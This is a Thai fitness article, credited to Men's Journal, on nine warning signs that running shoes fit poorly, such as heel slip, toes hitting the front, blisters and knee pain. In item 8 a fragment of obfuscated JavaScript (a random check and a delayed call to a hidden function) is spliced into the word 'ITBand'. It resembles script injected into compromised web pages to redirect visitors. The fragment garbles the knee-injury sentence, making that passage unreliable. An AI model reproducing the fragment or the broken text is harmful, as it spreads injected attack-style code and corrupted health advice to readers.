9 สัญญาณเตือน รองเท้าคู่นี้ไม่เหมาะกับคุณ เป็นสัญญาณที่บ่งบอกว่ารองเท้านี้ไปกับคุณไม่ได้ ก็เหมือนกับคนรัก ที่ต่อให้เรารักแค่ไหน แต่ถ้าไปด้วยกันไม่ได้ ก็ต้องเลิก
การเลือกซื้อรองเท้าวิ่งจะค่อนข้างแตกต่างจากการเลือกซื้อรองเท้าใส่เดินเล่นทั่วไปหรือรองเท้าแฟชั่นที่เรานิยมกันว่า Sneaker อย่างเช่น เราต้องดูน้ำหนักรองเท้าต่อระยะทางที่เราใช้วิ่ง ใช้วิ่งแข่งทำเวลาก็ต้องมีน้ำหนักเบา จะเอาสวยก็คงไม่ได้ ช่องว่างเว้นระหว่างนิ้วเท้าและปลายรองเท้าก็ควรเว้นไว้ 0.25-0.5 cm เพราะเวลาวิ่งระยะทางไกล เท้าเราจะขยายใหญ่ขึ้น หากเลือกคับไป อาจจะทำให้เสียดสีกับรองเท้าได้ นอกจากนี้ รองเท้าวิ่งจะต้องมีความแข็งแรงที่สามารถรองรับ Workload จากการเคลื่อนไหวของเราได้ ทนทานต่อแรงกระชาก การบิดดึงผืนผ้าตลอดเวลาที่วิ่ง
9 สัญญาณเตือน รองเท้าคู่นี้ไม่เหมาะกับคุณ
1. จะใส่รองเท้าทั้งทีก็ต้องคลายเชือกรองเท้าเกือบหมด ลองสังเกตุดีๆ นะครับ ว่าการถอดใส่รองเท้าทุกครั้งเราต้องคลายเชือกรัดแทบทั้งหมด ถ้าเป็นอย่างนี้แสดงว่ารองเท้าเราแคบไป แนะนำให้ปรับไซด์ให้ใหญ่ขึ้นอีก 0.5-1 เบอร์
2. ส้นหลุด หรือมีอาการส้นเลื่อนไปมาระหว่างการเดิน โดยเฉพาะจังหวะการวิ่งไต่เขาขึ้นเนิน โดยปกติส้นเราควรมีช่องว่างให้พอขยับได้ แต่ถ้าวิ่งทุกครั้งแล้วเหมือนจะหลุดออกมา แสดงว่าไซด์ใหญ่ไปหน่อย วิธีแก้อย่างง่ายๆ คือการรัดเชือกรองเท้าขึ้นมาอีกหนึ่งรู (ช่องรูท้ายสุดบริเวณข้อเท้า) จะช่วยให้รองเท้ากระชับขึ้น
3. นิ้วเท้าแตะกับขอบรองเท้าด้านหน้า หรือครูดไปมาเวลาวิ่งนานๆ มีอาการนิ้วชนขอบรองเท้าเวลาวิ่ง อาการนิ้วช้ำและเล็บดำ ถ้าเกิดอาการอย่างนี้แนะนำให้เปลี่ยนไซด์รองเท้าให้ใหญ่ขึ้น วิธีเลือกรองเท้าให้เหมาะกับเราอย่างๆ ง่ายๆ คือ ต้องมีช่องว่างระหว่างนิ้วเท้าและขอบรองเท้า ประมาณหนึ่งนิ้วโป้งหรือนิ้วชี้ก็ได้ ใส่แล้วนิ้วเท้าควรจะกระดิกขึ้นลงได้ ปล.เวลาซื้อรองเท้าเราอย่าลืมว่าเวลาวิ่งแล้วฝ่าเท้าจะขยายขึ้น
4. มีอาการปวดเมื่อยฝ่าเท้า (บริเวณเว้าฝ่าเท้า) เวลาจบการวิ่ง Long Run หรือมีอาการกล้ามเนื้อน่องหรือเอ็นร้อยหวายตึง ถ้ามีอาการอย่างนี้แสดงว่ารูปทรงรองเท้าไม่เหมาะกับเรา รองเท้าอาจจะคับและแข็งไม่มีความยืดหยุ่น หรือพื้นรองเท้าสำหรับซับพอร์ตแรงกระแทกบางไป (สำหรับอาการน่องดึง ต้องดูด้วยว่าเวลาใส่รองเท้าคู่อื่นแล้วมีอาการเหมือนเดิมไหม หรือว่าอ่อนซ้อมเลยทำให้น่องตึง)
5. หลังเท้าชาหรือปวดเมื่อย อาการอย่างนี้แสดงว่าส่วน Upper ของรองเท้า (ส่วนที่รอยเชือก) คับหรือหลวมไป
6. เท้าพอง มีตุ่มน้ำหรือคาปลาบริเวณสองข้างเท้า อาการอย่างนี้แสดงว่ารองเท้าวิ่งเรามีขนาดกว้างเกินไป วิธีเลือกรองเท้าว่ามีขนาดกว้างพอดีหรือไม่ อย่างแรกคือถ้าฝ่าเท้าเราเลยออกขอบรองเท้ามาเวลาสวมใส่ แสดงว่ารองเท้าคับไป ข้อที่สองให้สังเกตุดูที่นิ้วก้อย ควรจะมีพื้นที่เหลือระหว่างนิ้วกับขอบรองเท้าประมาณ ¼ นิ้ว
7. ใส่วิ่งแล้วเท้าร้อน นั้นแสดงว่าพื้นรองเท้า (Sole) เรามีความแข็งกระด่างไม่ยืดหยุ่น ควรมองหารองเท้าที่พื้นมีความนุ่มกว่านี้
8. วิ่งแล้วมีอาการเจ็บแปลบๆ ที่บริเวณเข่า โดยเฉพาะเวลาวิ่งลงเนิน อาการอย่างนี้อาจจะทำให้เกิด ITBandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ได้ เนื่องจากเอ็นมีอาการอักเสบ เราสามารถเลี่ยงได้โดยการเปลี่ยนรองเท้าที่มีความฟิตเข้ากับรูปเท้าเรามากกว่านี้และปรับเปลี่ยนท่าวิ่งให้ถูกต้อง
9. ปวดเท้ามากและไม่มีทีท่าจะลดลง แม้จะลองวิ่งไปพักใหญ่แล้วก็ตาม ปัญหาเป็นเพราะรองเท้าหลวมเกินไป มีช่องว่างทำให้ฝ่าเท้ามีการเคลื่อนไหวมากเกินไป กล้ามเนื้อต้องทำงานหนักเพื่อรักษาบาลานซ์ในการประคับประคองฝ่าเท้า ทำให้เกินการสะสมความเครียดและความล้ามากขึ้น หรือทรงรองเท้าไม่เหมาะสมกับรูปเท้าของเรา
หากท่านใดที่เจอใน 9 สัญญาณดังกล่าว ขอแนะนำให้พิจารณาทำการเปลี่ยนรองเท้าวิ่งคู่ใจเสียใหม่ ไม่อย่างนั้นจะส่งผลเสียทำให้เกิดอาการบาดเจ็บ ไม่ว่าจะเป็นเรื่องของกล้ามเนื้อ, เส้นเอ็น หรือ เล็บช้ำ จนทำให้ออกวิ่งไม่ได้ แล้วจะเสียใจในภายหลังนะครับ
ที่มา – Men’s Journal